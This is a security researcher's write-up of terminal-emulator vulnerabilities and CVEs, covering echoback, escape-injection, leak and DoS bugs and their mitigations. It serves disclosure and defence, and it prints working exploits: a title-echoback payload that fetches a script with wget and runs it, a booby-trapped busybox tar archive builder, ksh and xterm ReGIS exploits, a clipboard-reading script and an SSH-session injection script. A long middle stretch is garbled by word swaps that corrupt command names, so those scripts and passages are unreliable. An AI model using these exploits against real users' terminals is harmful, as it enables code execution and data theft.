“[31m”?! ANSI Terminal security in 2023 and finding 10 CVEs
“[31m”?! ANSI Terminal security in 2023 and finding 10 CVEs
This paper reflects work done in late 2022 and 2023 to audit for
vulnerabilities in terminal emulators, with a focus on open source software.
The results of this work were 10 CVEs against terminal emulators that could
result in Remote Code Execution (RCE), in addition various other bugs and
hardening opportunities were found. The exact context and severity of these
vulnerabilities varied, but some form of code execution was found to be
possible on several common terminal emulators across the main client platforms
of today.
Additionally several new ways to exploit these kind of vulnerabilities were
found.
This is the full technical write-up that assumes some familiarity with the subject matter, for a
more gentle introduction see my post on the G-Research
site.
Terminal emulators
I will talk about terminal “emulators”. When people talk about emulators in this
context, they don’t mean emulation in terms of actually emulating the hardware
(as now common with game consoles), but software re-implementations of physical
terminal devices. In this case these are mostly terminals from Digital Equipment
Corporation (DEC) such as the VT100 and later compatible (and extended)
terminals in the VT (Video Terminal) range which have become a defacto standard.
There are many online resources about these terminals; I will go into some
necessary detail later, but if you are interested to read more background
vt100.net is a great resource.
Past work
“Those who cannot remember the past are condemned to repeat it.”
In a 1994 issue of phrack there is
“flash.c” — this floods a user’s terminal with escape sequences, making it
flash. This is one of the first references I can find to using this to attack
users, however it was definitely known before then. The attack is interesting
as it uses the talk protocol (which through talkd
could write to a user’s
terminal at any time, to let them know another (potentially remote) user wished
to “talk” to them. This is now clearly a historical relic, but as I’ll show
finding a way to write raw data to a user’s terminal is the first step in the
modern versions of these attacks.
Moving on to this century, in 2003 HD Moore released a paper: “Terminal
Emulator Security Issues”. This is the first write-up I can find of the
potential issues with terminal security, that includes more than just DoS
attacks. It’s worth mentioning this paper includes CVE candidates, e.g.
“CAN-2003-0063”, as at the time CVEs were relatively new. This also means
tracking historical vulnerabilities before this point is harder.
In 2008 Paul Szabo found a vulnerability in xterm (CVE-2008-2383). This is one
of the first published examples I know of, of what I call a “full echoback”
vulnerability, where it’s possible to insert control characters into the input stream.
More modern is trojan source which similarly to
hidden escape sequences, uses Unicode control characters to hide some text; for
example by using Unicode’s Right-to-Left Override (RTLO). This paper will only
cover Unicode as it relates to terminals, for more details on Unicode Source
Code Handling see Unicode Technical Standard
#55.
Escape sequences were originally defined in ANSI X3.64, that is the ANSI standard
on “Additional Controls For Use With American National Standard Code for Information Interchange”
— this builds on characters defined in the ASCII standard to provide control for display and
printer devices. Which is a wordy way to say this is all based on an old standard; not a bad thing,
it works, but it does mean there is a lot of things done in ways which wouldn’t be the case in a
modern standard.
Escape sequences can be used for many control purposes, including changing
colors, moving around the screen and querying the state of the terminal.
Many end users use a terminal without needing to understand escape sequences,
but just like HTML, they are there and “view source” while not as obvious as a
context menu click is quite easy. The cat
command has a -v
flag which can
be used to perform escaping. This can be simply combined with Unix pipes to see
the raw output from some commands, for example cmatrix | cat -v
will show the
output from cmatrix — a console,
screensaver-like implementation of the Matrix animation.
(Aside: cat -v
was added in BSD Unix, to some annoyance of the Bell Labs Unix
team, see cat -v considered harmful (1983).
Alternatives include sed -u -e 'l'
and vis
in BSDs.)
For commands which need interactivity the simple cat -v
approach won’t work,
many Unixes have a script
command which can be used to save the full terminal
output to a file. The script
command is sadly not standardised, some versions
support timestamps to allow replay of these saved files. (There is also
asciinema which can be used like script
but
provides a more modern interface, including a browser based player.)
In order to understand the risk from these particular vulnerabilities and how
they could be exploited I’ll classify them into some classes.
Misuse of escape sequences
This is where an attacker can get an escape sequence written to a user’s
terminal and the terminal behaves as expected when that sequence is written to
it.
A simple example is curl
— it will in most cases simply write ASCII data to a
terminal (it has some detection for binary data, but does not filter all data,
and the test for binary data can be easily defeated, as it isn’t intended to
serve a security purpose and simply looks for NULs).
This is a vulnerability when it would be reasonable for the user to expect
escaping to happen. The most simple way to reason about this is to consider the
backspace character, if raw ASCII is printed then even without terminal escapes
it is possible to disguise the output.
There are cases where this can be used to hide text, for example:
$ printf "echo evil #bbbbbbgood n" > evil.sh
$ cat evil.sh
echo good
$ sh evil.sh
evil
Additionally standard tools like less
take backspaces into account, so in some
cases text can easily be hidden when viewed with less, as is the default for
git diff
among other tools. (You can use less -U to see controls, but
unfortunately that also includes tabs so isn’t generally usable on source code.
This can be improved, see less issue
#335 which adds a --proc-tab
option
to allow tabs to be processed, but not other control characters.
In code the safest way to print unknown text is to use the C isprint()
function, and only output printable characters. Note that is not usually what
is actually wanted, as often newlines at least will need to be included in the
output.
A good compromise is to only escape the terminal control characters (ESC,
character 27) This provides defence in depth for the security issues described
in this paper, but does not protect against confusion attacks.
An interesting area is terminals that accept C1 controls (8-bit, e.g. U+009B), many do not accept these controls,
particularly as how they interact with UTF-8 is un(der)specified. VTE based terminals, Kitty and
WezTerm are some of the few terminals that accept C1 controls by default, within UTF-8 encoded data.
My recommendation would be to not use these terminals with untrusted data.
As mentioned flash.c was published in Phrack in 1994. The entry point via
talkd
is no longer relevant, but if we can deliver the escape sequences it
uses to a terminal, the result still possible, as this isn’t a vulnerability,
it is simply expected VT behavior.
# This simulates the effect of receiving "flash", a 1994 terminal DoS attack.
while :; do
printf " 33c 33(0 33#8"
sleep 0.1
printf " 33[1;3r 33[J"
sleep 0.1
printf " 33[5m 33[?5h"
sleep 0.1
done
If you need to look-up an escape sequence the xterm ctlseq
reference is quite
good and documents all the sequences xterm supports.
To break that down:
- First line:
ESC c
Full Reset (RIS)ESC ( 0
Designate G0 Character Set, where 0 means “DEC Special Character and Line Drawing Set” from the VT100ESC # 8
DEC Screen Alignment Test (DECALN), fully fills the screen with “E” characters
- Second line:
ESC [1;3r
Set Scrolling Region (DECSTBM), limits the scrolling area to the top 3 lines of the screen.ESC [J
Erase in Display (ED), as the terminal has been reset the cursor is at the top left, so this erase below actually erases the whole display. Between this and the screen alignment test is what causes the flashing.
- Third line:
ESC [5m
Select Graphic Rendition (SGR), 5 (blink). This doesn’t actually do anything as it doesn’t print any normal characters between this and the reset.ESC [?5h
Reverse Video (DECSCNM), this swaps the background and foreground.
As you can see there’s lots of possibilities here, changing the character set is
particularly nasty as something like hello world
will become ␊┌┌⎺ ┬⎺⎼┌␍
.
There are additional things such as using invisible attributes (SGR 8, supported
by some terminals), the same color for the foreground and background which can
be used to hide text from a victim, or at least annoy them.
Additionally modern terminals support escape sequences related to the
environment they run within, for example setting the title, getting the size of
the window and mouse reporting. As we’ll see some of those can lead to trouble.
CWE-150 contains some
further references to CVEs where incorrect or missing terminal escaping led to
bugs.
Queries and Echoback
Escape sequences are used both for sending data to the terminal (e.g.
changing color, sending queries), as well as receiving data from the terminal
(e.g. special key presses, replies to queries).
Queries are particularly interesting, as they are one of the main ways a
terminal can be exploited. In particular some queries make it possible to query
for a state the attack may control; the first known write-up of this is in HD
Moore’s work in 2003.
HD Moore’s example is:
echo -e "e]2;;wget 127.0.0.1/.bd;sh .bd;exit;ae[21te]2;xtermaPress Enter>e[8m;"
This sets the title to a wget command and then runs the shell script
downloaded. It asks for the title to be reported, then sets the text to be
invisible.
Since then nearly all terminals disable title reporting by default (but some do
have an option to enable it). However I found several terminals in 2022 that
did enable it by default.
-
WezTerm: Disabled in: https://github.com/wez/wezterm/commit/e70f97903b8e5de8e918b9d9a1c68f80a1977425
This meant the unmodified command from 2003 worked against WezTerm. However
WezTerm correctly implements the VT100 state machine, so this was only a
“limited echoback” attack. -
SwiftTerm: Similar to WezTerm, disabled in: https://github.com/migueldeicaza/SwiftTerm/commit/a94e6b24d24ce9680ad79884992e1dff8e150a31
-
ConEmu: Tracked in CVE-2022-46387 and CVE-2023-39150
The difference with the ConEmu variant of the title bug, is because it accepted
control characters, it was possible to run commands without any user
interaction. If an attacker could find a way to write to the terminal, they
could almost certainly execute commands. Additionally the first fix did not
fully fix the issue — the author disabled certain control characters only (one
control character that can bypass this is ^O which GNU readline uses as “accept
and history next”, which clink, as shipped with Cmder enables by default) —
the fixed version fixes the no-user-interaction version but is still
technically vulnerable to the 2003 attack version (the author for some reason
doesn’t seem to want to just remove the feature, I even offered a patch which
disabled it).
I am calling this class of attack as found against ConEmu a “full echoback”,
i.e. the attacker can fully control the sequences that are echoed back
(including newlines and Control-C). Although not escape (except in iTerm2, which
supports two escape characters to escape escape in some contexts).
I am using the word “echoback” to describe cases where a terminal will respond
with some data that is sent to it.
It is also possible to use some built in terminal queries to make the terminal
write predictable text to the input stream. Usually these do not include a
newline character, so are limited and not controlled by the attacker. (An
exception is rxvt-unicode
CVE-2021-33477. However it
is possible to make the terminal reply with strings like “rgb:xxx/xxx/xxx”,
which are somewhat attacker controllable; for example if an attacker can create
a file at a particular path they may be able to attack the user. This is
discussed later.
A further example of using escape sequences in unexpected ways can be found in
solid-snail’s research. They disclosed two issues in iTerm2:
https://blog.solidsnail.com/posts/2023-08-28-iterm2-rce — they had
independently discovered some of the ideas like using “rgb:…/” as a file path.
Buffer overflow in parsing
A terminal is dealing with parsing a lot of data and are commonly written in
memory unsafe languages, so it is not surprising to find buffer overflows.
One particular example is Sixel which is the DEC graphics format. It has had
various overflows in the past, for example in its implementation in xterm and in
libraries such as libsixel.
xterm CVE-2022-24130 was
found by Nick Black. This was a flaw in the repeat operator that is present in
the Sixel format and there was no bounds checking on the operator, for example:
printf 'ePq#1;1;1#1!99999999@en'
Will crash xterm before the fix. I spent some time fuzzing xterm and found one
more Sixel issue, which is fixed in xterm 380 (along with several other bugs I
found).
Lack of escaping in processing
It is common for the strings sent via OSC to be further processed by terminals.
There have been several cases where this results in a terminal not escaping the
input sent to the terminal when it is further processed, e.g. running a
command.
Windows Terminal + WSL CVE-2022-44702
By using the ConEmu specific escape sequence OSC 9;9 to set a working directory
that contained a "
, it was possible to run an arbitrary command when a WSL
tab was duplicated (ctrl+shift+d, or context menu item).
The exploit for this is to arrange for this string to be sent to the victim’s terminal:
printf "e]9;9;/" sh -c 'calc.exe && cd && exec $SHELL' -- "o /a"
Then when the sufferer duplicates the tab (assuming they’ve not configured the
shell working listing integration, which is able to undo the exploit) it is going to open
calculator.
This was demonstrated in my BlueHat
talk (a model is embedded under, too).
rxvt-unicode background OSC CVE-2022-4170
This was a enjoyable one, the terminal helps a customized OSC for setting the
background, which it became its personal particular configuration language, which
was ‘eval’ed as Perl code, whereas it tried to cite the enter, it did not do it
appropriately.
Relatively than write it once more, I quote the
advisory I despatched to
oss-security under:
The "background" extension is mechanically loaded if sure X
sources are set reminiscent of 'clear' (see the total listing on the prime
of src/perl/background[1]). So it's doable to be utilizing this
extension with out realising it.
That is by chance fastened on model 9.30, and I have not confirmed
9.29, it seems to not be exploitable, however solely resulting from one other (not
safety) bug. The precise bug which makes this not susceptible on 9.30
is solely a mistaken quantity in "on_osc_seq".
For 9.25 and 9.26 the patch at[2] may be backported. The physique of the repair is:
sub q0 {
- (my $str = shift) =~ s/x00//g; # make certain there actually aren't
any embedded NULs
- "qx00$strx00"
+ "qqx00Q$_[0]Ex00"
}
Is not Perl quoting enjoyable? Paranoid individuals might want to take away the whole
"on_osc_seq" subroutine to keep away from passing any probably untrusted
enter wherever close to eval (this function is deprecated and the
maintainer did point out they're contemplating what to do long run).
It would not make sense to withhold an exploit for this; the repair offers a
fairly good thought the place to look and this is not susceptible within the newest
model.
$ urxvt -transparent
Inside that working terminal:
# Make tint be "", which suggests the ending x00 is quoted below our management
$ printf 'e]705;a'
# Make the second q0 finish the quoted q-string after which be legitimate perl
below our management
$ printf 'e]20;,rootalign root),`contact /tmp/cve-2022-4170` #a'
The Home windows Terminal and rxvt-unicode examples are two I discovered, there have been different
vulnerablities, for instance Carter Sande
discovered CVE-2022-41322 in Kitty, the place the OSC to
generate desktop notifications could possibly be abused in an identical approach.
DoS
There are lots of potentialities for Denial-of-Service. These are much less attention-grabbing
as actually they’re an inconvenience, the consumer can get well pretty rapidly in
most instances, though in some instances they could be persistent, which suggests the consumer
might clear up and conceal different tracks of an attacker or related.
iTerm2 REP
This makes use of the ANSI repeat sequence, to repeat a personality many occasions, which
resulted within the terminal working out of reminiscence (and “beachballing”).
Easy instance:
perl -le'print "xe[2000000000b"'
This was fixed in https://github.com/gnachman/iTerm2/commit/438fe6000
Pretty amusing, but not really an issue except to crash the terminal. This was
further covered by STÖK in his
talk, where for example emojis
result in more memory usage in some cases. Some terminals are still vulnerable
to this or minor variants.
Windows Terminal OSC8 (hyperlink)
A long URL could result in a crash when the tooltip was displayed. The displayed
URL length is now limited.
OpenBSD: Console DoS
This was via overflows on parameters. Also affected NetBSD. Can give limited
memory write, may be exploitable on 32-bit, if a kernel memory address info leak
is found.
Fix: https://ftp.openbsd.org/pub/OpenBSD/patches/7.2/common/021_wscons.patch.sig
Some exploits for these are:
printf 'eP2$t99999999e'
printf 'e[0;10re[20de[2000Bx'
printf 'e[0;2re[5fe[2000M'
I also found a later issue where the escape sequence parameter parsing itself
could be overflowed, this was fixed in:
https://ftp.openbsd.org/pub/OpenBSD/patches/7.3/common/014_wscons.patch.sig (this one was also assigned CVE-2023-40216
An exploit that crashes this looks something like:
perl -e'print "e["; print ";" x 128 for 1 .. 2**24; print ";;;;31mn"' > bigesc
cat bigesc
(Yes, that’s ~2GiB of semicolons.)
Setting icons
For example xterm can load icons from local filesystem in response to an OSC.
This led to a local xterm DoS being possible through XPM via CVE-2022-46285:
printf "/* XPM */n/*" > /tmp/f
printf "e]I/tmp/fa"
CyberARK’s research: DoS via fast title updates
This was found by Evitar Gerzi, and coated within the CyberARK blog
post.
Leaks
There are some ways in which terminals can leak information unexpectedly, and probably in
a approach that’s invisible to the consumer.
xterm OSC 52 (clipboard)
xterm implements OSC 52 for studying and writing the clipboard. The upstream
default is to allow this, fortunately many distributions set this off by default
(Debian, Pink Hat, OpenBSD). A privileged distant attacker can do that within the
background, i.e. watch a consumer’s clipboard over SSH.
For instance:
#!/bin/bash
# Clipboard learn by way of OSC 52
# David Leadbeater, 2023 <https://dgl.cx/0bsd>
pid=${1:?$'e'"[GUsage: $0 pid-of-shell"}
tty="/dev/$(ps -otty -p$pid | tail -1)"
kill -STOP $pid
trap "kill -CONT $pid" EXIT
printf "e]52;sc;?a" > $tty
learn -d "$(printf "a")" x < $tty
reduce -d';' -f3 <<<"$x" | base64 -d
Working this script in opposition to a PID of a shell linked to the system utilizing
xterm will report the terminal’s clipboard contents.
Few different terminals help studying the clipboard. Nevertheless some help
writing, that is much less of a priority, however one potential assault is a distant
attacker who has compromised a distant system may put one thing totally different on a
consumer’s clipboard unexpectedly (normally this may also work when the
terminal is within the background).
Cursor checksum
It’s doable to ask for the cursor checksum utilizing DECRQCRA. By asking for a
single character on the display at a time, that character shall be revealed.
One potential assault right here is studying what’s displayed on the terminal earlier than
a consumer SSHes to a distant system. It may be achieved in an identical approach to the
clipboard studying script above.
Few terminals help this and those who do both immediate the consumer or have
it disabled. There’s worth in supporting it because it permits for automated
testing of terminal behaviour, but it surely ought to solely be used for assessments and never
enabled on a regular basis.
Apple Terminal DNS leaks
Apple Terminal helps OSC 7 for setting the working listing. The concept is
the terminal can observe which listing the consumer has become after which when
creating a brand new tab it is going to mechanically change to that listing.
The implementation is a file://
URL and with a purpose to work out if the URL is
native or not it seems to do a DNS lookup. This implies by merely outputting one thing like:
printf "e]7;file://some.factor.instance.com/a"
The terminal will do a DNS lookup on some.factor.instance.com
to verify whether or not
that resolves to one of many machine’s IP addresses. There are a number of makes use of of
this, one as a canary put into logs to see if the consumer is studying logs in a approach
that they don’t seem to be escaped or as a approach to leak content material from a safer system
(with out web entry) to the web by way of DNS going by way of the consumer’s
shopper gadget.
(This was mentioned in my DEF CON 31 talk
too.)
xterm font (OSC 50 query)
It is a restricted echoback. I found an attention-grabbing interplay with Zsh
the place ^G is sure by default to list-expand. This implies a string like $(ls)
will run the command when ^G is pressed.
From my put up to oss-security:
The difficulty is within the OSC 50 sequence, which is for setting and querying
the font. If a given font doesn't exist, it isn't set, however a question
will return the identify that was set. Management characters cannot be
included, however the response string may be terminated with ^G. This
basically offers us a primitive for echoing textual content again to the terminal
and ending it with ^G.
It so occurs ^G is in Zsh when in vi line modifying mode sure to
"list-expand". Which may run instructions as a part of the enlargement main
to command execution with out urgent enter!
This does imply to use this vulnerability the consumer must be
utilizing Zsh in vi line modifying mode (normally by way of $EDITOR having "vi" in
it). Whereas considerably obscure this isn't a completely unknown
configuration.
In that configuration, one thing like:
printf "e]50;i$(contact /tmp/hack-like-its-1999)ae]50;?a" > cve-2022-45063
cat cve-2022-45063 # or one other approach to ship this to the sufferer
Will contact that file. It would depart the road on the consumer's display;
I am going to depart it as an train for the reader to make use of the vi line modifying
instructions to cover the proof.
Debian, Pink Hat and others disable font ops by default.
[...]
Moreover upstream xterm doesn't disable them by default, so some
distributions embody a susceptible default configuration.
(Demo in Everything Open Talk.)
This bug in xterm was assigned CVE-2022-45063, it was fastened in xterm patch #375.
I discovered an attention-grabbing variant of this in mintty, which additionally implements OSC 50,
together with the question functionality, but it surely echoed again precisely what was despatched — a
full echoback (i.e. any character could possibly be injected, resulting in potential code
execution if an attacker can write unescaped output to the terminal). The
particulars for DECRQSS under due to this fact additionally apply to this subject
in mintty.
This variant in mintty was assigned CVE-2023-39726, it was fastened in mintty
model 3.6.5.
DECRQSS
This vulnerability was first reported in xterm in 2008, tracked as
CVE-2008-2383.
An attention-grabbing element of that is we now have quick access to the DEC manuals and
they affirm that there ought to be no reply to an invalid request. (However word
that there was a mistake within the documentation, because the response code was
backwards). I’ve confirmed on an actual VT520 that it doesn’t ever return any
consumer controllable textual content for an unknown DECRQSS sequence.
Which implies this in some way is a distinction that was launched into the xterm
management sequence documentation, which sadly a number of terminal emulators
then faithfully reimplemented. The xterm documentation has now been fastened (in
2023).
The difficulty is a terminal can echoback the information despatched to it. On this case the
severity varies in numerous terminals.
iTerm2
iTerm2 CVE-2022-45872 resulted in a close to full echoback. The one situation
that should be met is any management character needs to be the final character within the
escape sequence. However it’s doable to ship a number of escape sequences, and in
some instances iTerm2 will seem to buffer the output till a last DECRQSS
sequence is shipped with none management characters.
This was fastened in iTerm2 3.4.18.
mintty
mintty CVE-2022-47583
resulted in a full echoback (i.e. any character could possibly be injected, resulting in
potential code execution if an attacker can write unescaped output to the
terminal). It was fastened in mintty
3.6.3 (part of this commit).
See “less” below for a demo utilizing this bug to run an
attacker managed command when the consumer merely sorts “git log”.
SwiftTerm
CVE-2022-23465 was additionally a full echoback.
Kitty
Kitty had a variant which allowed non-control characters to be echoed again (a restricted echoback).
This was not assigned a CVE.
It was fastened in this commit.
libvterm
This didn’t obtain a CVE, it solely allowed echoing again round 3 characters.
As this library is embedded into Vim and Neovim, there have been doable methods it
could possibly be attacked by way of Vi mode.
zutty
I didn’t discover this one, credit score to Carter
Sande for locating
CVE-2022-41138.
This one has some limits on the size of the string, however could possibly be exploited in
an identical approach to the others, except for very lengthy strings.
Vulnerabilities using known replies
Even with the fixes above there are instances the place a terminal will reply with a
sequence like ESC “/Z” which can be utilized to output information.
ESC “/Z” is a VT52 compatibility sequence that has the aim of figuring out
the model of the terminal and is nearly definitely not used anymore. Given a
Unix shell will normally run a command primarily based on the relative path if it incorporates
a “https://dgl.cx/” it’s doable to do one thing like assault a consumer who occurs to cd into
/tmp, or in any other case ship a file.
Here is an exploit for busybox tar:
#!/bin/sh
# Busybox sh + tar, exploit, primarily based on statement on oss-security:
# https://www.openwall.com/lists/oss-security/2021/05/17/1 (see the "train
# for the reader")
# Observe this does not use the "newline" embedding assault from rxvt, so the consumer
# has to press enter, however we mess up their terminal and put a ";" within the
# output, so in the event that they sort one thing apart from ^C and/or press enter it really works.
#
# David Leadbeater, 2022.
tmp=$(mktemp -d)
pushd $tmp
# rxvt-unicode and xterm -ti 100
mkdir -p 2c
echo "contact /tmp/owned-by-tar && printf 'e[31;43m -- Oh! look in /tmp --e[mn'" > 2c/"Z[?1"
chmod +x 2c/"Z[?1"
# xterm -ti 102
mkdir -p Z/ZcZ
ln -s ../../2c/"Z[?1" Z/ZcZ/Zc
# (Two terminals included just to demonstrate this does depend on the
# terminal's behaviour, but it's possible to target several via an escape that
# results in a response longer than busybox's sh's escape handling buffer.)
# Remove the "e30m" to stop black text and see what's happening.
touch 2c/$(perl -e'print "e[30me[ce[?2l"; print "eZ" x 14; printf "e<e[Ae[c"')
dd if=/dev/urandom of=2c/filler bs=1M count=100
touch 2c/$(perl -e'print "e[A"')
# order matters, to hide things. (no "v" to avoid messing up our terminal if
# run under busybox tar.)
tar cfz /tmp/busybox-tar-exploit.tgz 2c/*30* 2c/Z*1 Z/ZcZ/Zc 2c/filler 2c/*A*
popd
rm -rf "$tmp"
echo Now make the victim run: tar zxvf /tmp/busybox-tar-exploit.tgz
In this case the victim is somehow social engineering into simply extracting a
tar archive under busybox tar, they will then find their terminal unresponsive
and maybe hit enter, running the attacker controlled command line. (Pressing
Control-C will abort the command, then the user has to know to blindly type
reset
.)
This exploit works for two reasons:
- Busybox tar outputs raw escape characters (mentioned on oss-security as above in 2021, I sent the exploit to busybox authors too);
- Busybox sh only has a short buffer for escape sequences, which if overflowed just writes the rest of the characters to the command line
Aside: some other tar implementations are vulnerable to similar, for example
OpenBSD’s tar does not escape characters in error messages, so a tar archive
constructed carefully with overly long filenames can result in raw escape
sequences written to the screen (I reported this to OpenBSD, but it hasn’t yet
been fixed).
Another tool found to be vulnerable was OpenBSD’s ksh. It did not escape output
in tab completion lists. I demonstrated an exploit for this in my DEF CON talk:
#!/bin/sh
set -ex
cd /tmp
# A file, which has some escape sequences in its name
# - OSC 4;1 (set color of red, ensures following reports consistently what we want...)
# - OSC 4;1 (report color, gives us rgb:ffff/0000...., i.e. something with slashes)
# - Report DECSET (just to get a semicolon)
# - Make invisible
# - Hide cursor (makes it less obvious what's happening, maybe seems more like a bug...)
# - Make xterm report key presses (stops ^C)
set +x
touch "$(printf 'e]4;1;redee]4;1;?ee[?$pe[8me[?25le[>4;2m')"
set -x
# Make it work both if someone does cd /tmp/<tab>, or ls <tab> within /tmp
ln -sf /tmp 4
mkdir -p rgb:ffff/0000
cat <<'EOF' > rgb:ffff/0000/000065535
printf 'ne[;31me#3Well hello '$(uname -sr)
printf 'ne[;31me#4Well hello '$(uname -sr)
echo
EOF
chmod +x rgb:ffff/0000/000065535
echo "Now, do something like cd /tmp/<tab>"
In many ways this exploit is much like the tar exploit above, however it
contains an interesting escape sequence I’d like to draw attention to, it
targets xterm and xterm has a way to turn control characters into escape
sequences. This means a user cannot simply press Control-C to cancel the
command, and may end up pressing keys, until they press the only key which
works, which happens to be Enter, running the attacker controlled command line
(if you are paranoid something like this has happened to you, the safest thing
to do is likely close the terminal).
Mitigating echoback vulnerabilities
I mentioned at the start of this paper that terminals “emulate” VT100 or later
devices. This is interesting because ANSI X3.64-1979 does not define what to do
in error conditions. However because most terminal emulators have claimed to be
compatible with VT100 they should reimplement the error conditions in a similar
way — this has been documented in https://vt100.net/emu/dec_ansi_parser
To again draw a comparison with HTML, this is similar to how the HTML 5
specification defines how parsing should behave in the presence of invalid
characters (see “Warning” in
13.2.3).
HTML spec:
The decoder algorithms describe how to handle invalid input; for security
reasons, it is imperative that those rules be followed precisely.
Differences in how invalid byte sequences are handled can result in,
amongst other problems, script injection vulnerabilities ("XSS").
Therefore, if terminal authors are reading this, please try to be exactly
compatible with VT100 parsing. For example, an OSC sequence (osc_string)
ignores control characters. (With one exception; do not implement C1 control
characters, they conflict with UTF-8 and the world doesn’t use them anymore. See this oss-security post from
2015 for more details.)
If we reduce the chances of control characters being in escape sequences,
particularly replies, then shells can correctly handle replies (although there
will still be cases where a reply is partly read and so on returning to the
shell only the end of it will be seen, but a single response should not provide
enough for a successful attack).
GNU readline has a “skip-csi-sequence” function, which is by default unbound. We
can set it up like so:
bind '"e[": skip-csi-sequence'
This provides some protection from unexpected input, however we also need to
implement “skip-osc-sequence” and “skip-dcs-sequence”. I have a patch for this.
TODO.
With Zsh ZLE we can actually implement this ourselves:
function skip-csi-sequence()
function skip-osc-sequence() {
local key
while read -sk key && (( $((#key)) != 0x1B && $((#key)) != 0x07 )); do
# empty body
done
if [[ $((#key)) = 27 ]]; then
# ^[
read -sk key
fi
}
function skip-dcs-sequence() {
local key
while read -sk key && (( $((#key)) != 0x1B )); do
# empty body
done
if [[ $((#key)) = 27 ]]; then
# ^[
read -sk key
fi
}
zle -N skip-csi-sequence
zle -N skip-osc-sequence
zle -N skip-dcs-sequence
bindkey 'e[' skip-csi-sequence
bindkey 'e]' skip-osc-sequence
bindkey 'eP' skip-dcs-sequence
Draw back: Alt+P conflicts with DCS.
Typically these terminal points, whereas they’re clearly critical, usually are not handled
with the severity an online browser bug or different subject that clearly is instantly
uncovered to untrusted information.
It ought to be remembered {that a} terminal does nonetheless take care of untrusted information,
even when there may be one other layer of defence that packages outputting to them
ought to escape information.
These are some examples of potential exploit chains, utilizing a instrument that didn’t
appropriately escape information.
Kubernetes
kubectl didn’t filter escape characters (CVE-2021-25743). This was
found by Evitar Gerzi. I found it is doable to abuse
with out API entry, i.e. write to /dev/termination-log
.
Curiously Kubernetes didn’t contemplate this a critical subject and the CVE sat
unfixed for some time, so I fastened it after discovering a number of terminal
vulnerabilities.
There’s a full PoC demo at https://github.com/dgl/houdini-kubectl-poc
Local HTTP server
Once more to name again to 2003, the state of affairs in HD Moore’s paper is an administrator
working tail on their net logs. As of late a extra probably state of affairs is a consumer
working a command like python3 -m http.server
.
It seems Python did not
escape management characters
that it outputted in its http.server module.
This permits a number of assaults, even when the terminal itself doesn’t have a
vulnerability. The primary one is hiding issues in logs.
printf "GET /?e]0; HTTP/1.0rnrn" | nc localhost 8000
Utilizing the DECRQSS bug results in one thing like:
printf "GET /?ePqmx3e ePqm;ls;e ePqmre HTTP/1.0rnrn" | nc localhost 8000
Different command line net server tooling could also be susceptible to related, some I’ve
reported it to do not even appear to think about it a safety subject, however word
request spoofing or hiding is normally doable to some extent.
Reverse SSH shell
This exploit has the property that it doesn’t want one other susceptible program
to get the escape characters to the consumer, it simply makes use of Unix permissions.
For this to work the attacker wants the flexibility to both run code because the consumer,
or root on the host they’re SSHed to. It could then escape again to the host the
consumer SSHed from if there is a appropriate terminal vulnerability (and the consumer
linked from a neighborhood shell, i.e. they typed ssh host
, somewhat than invoking
SSH from a menu or related).
Clearly this wants a susceptible terminal, somewhat than being an anticipated
chance as SSH agent hijacking may be, if SSH leap packing containers are used.
#!/bin/bash
# Disconnect a consumer and try a terminal exploit on them
# David Leadbeater, 2023 <https://dgl.cx/0bsd>
pid=${1:?$'e'"[GUsage: $0 pid-of-shell"}
tty="/dev/$(ps -otty -p$pid | tail -1)"
kill -STOP $pid
printf 'eP$q;xxx;open -a Calculatorre eP$qme' > $tty
kill -9 $pid
less
I found an issue in less where OSC 8 (hyperlink) was not terminated by anything
but a ^G (BEL) or ESC (ST), whereas most terminals take ESC and any character
as a terminating sequence (and should, per the VT100 state machine mentioned
elsewhere in this paper).
The less author unfortunately patched this without a security release, so I
posted to oss-security about
it, when it was only
available as a patch.
This can be combined with “git” to achieve RCE in a git repo. e.g. with mintty
which is default terminal on git for windows and had the DECRQSS bug.
The exploit for less, git bash and mintty is to simply get a string like this
into a git commit message, then git log
will open Calculator:
^[]8;;http://^[c^[P$qm q :;calc.exe;^M^[
top
It turns out some versions of Linux’s top (procps) don’t escape output. The top
authors have fixed in 4.x, but procps on many Linux distros is still 3.x.
Top authors aren’t hugely concerned because there’s other ways to hide from
process tools on Linux (e.g. CVE-2018-1121).
I demonstrated how to use a bug in xterm’s ReGIS support to own someone running
top
in my DEF CON talk. ReGIS is a
vector graphics mode that happens to have a report command, it could be asked to set a particular name,
then report that name.
The xterm bug is CVE-2023-40359 and was fixed in xterm
380
“pointer/overflow fixes”.
To exploit this requires running several processes, as a single line in top
cannot contain much data. It was easiest to arrange for the processes to
consume different amounts of memory, rather than carefully controlling CPU
usage.
xterm CVE-2023-40359 exploit
#!/usr/bin/perl
# xterm CVE-2023-40359 exploit
# Run this, then run "top -o RES" in an xterm with ReGIS support (compiled with
# ReGIS and: xterm -ti 340).
sub mem_use {
my $x = "x" x ($_[0] * 10*1024*1024);
sleep 3600;
}
if (fork) {
$0 = "ePpL(F'x')e";
mem_use(120);
} elsif(fork) {
$0 = "ePpL(A'x03')e";
mem_use(110);
} elsif(fork) {
$0 = "ePpR(l)e";
mem_use(100);
} elsif(fork) {
$0 = "ePpL(A'x7F="https://dgl.cx/")e";
mem_use(90);
} elsif(fork) {
$0 = "ePpR(l)e";
mem_use(80);
} elsif(fork) {
$0 = "ePpL(A'x10x7Ftm')e";
mem_use(70);
} elsif (fork) {
$0 = "ePpR(l)e";
mem_use(60);
} elsif(fork) {
$0 = "ePpL(A'x10x7Fp/')e";
mem_use(50);
} elsif(fork) {
$0 = "ePpR(l)e";
mem_use(40);
} elsif(fork) {
$0 = "ePpL(A'x10x7F/x')e";
mem_use(30);
} elsif(fork) {
$0 = "ePpR(l)e";
mem_use(20);
} elsif(fork) {
$0 = "ePpL(A'x01$x05')e";
mem_use(10);
} else {
$0 = "ePpR(l)e";
mem_use(5);
}
Apart: busybox ps and prime are additionally susceptible to related, I reported this however
they have not been fastened but.
One shocking end result from this analysis was how variants of earlier CVEs
existed in different terminals. To that finish, I wish to make it straightforward for
anybody to check terminals in opposition to recognized terminal CVEs. I’ve written a instrument which
runs as an SSH server and runs some assessments in opposition to terminals. I plan to gather
many extra CVEs into this, so the code will function a group of terminal
vulnerabilities.
The instrument is obtainable at https://github.com/dgl/vt-houdini
or may be accessed by way of SSH: ssh termtest.dgl.cx
That is an instance of a susceptible model of iTerm2 being examined by the
terminal tester.
Instruments like display and tmux work by basically emulating a terminal inside your
terminal. You could suppose this gives a layer of isolation out of your precise
terminal, nevertheless it is a false sense of safety, display has an escape
sequence to go straight by way of to the precise terminal. Tmux additionally has an
escape sequence, however model 3.3 turns off allow-passthrough by default, so
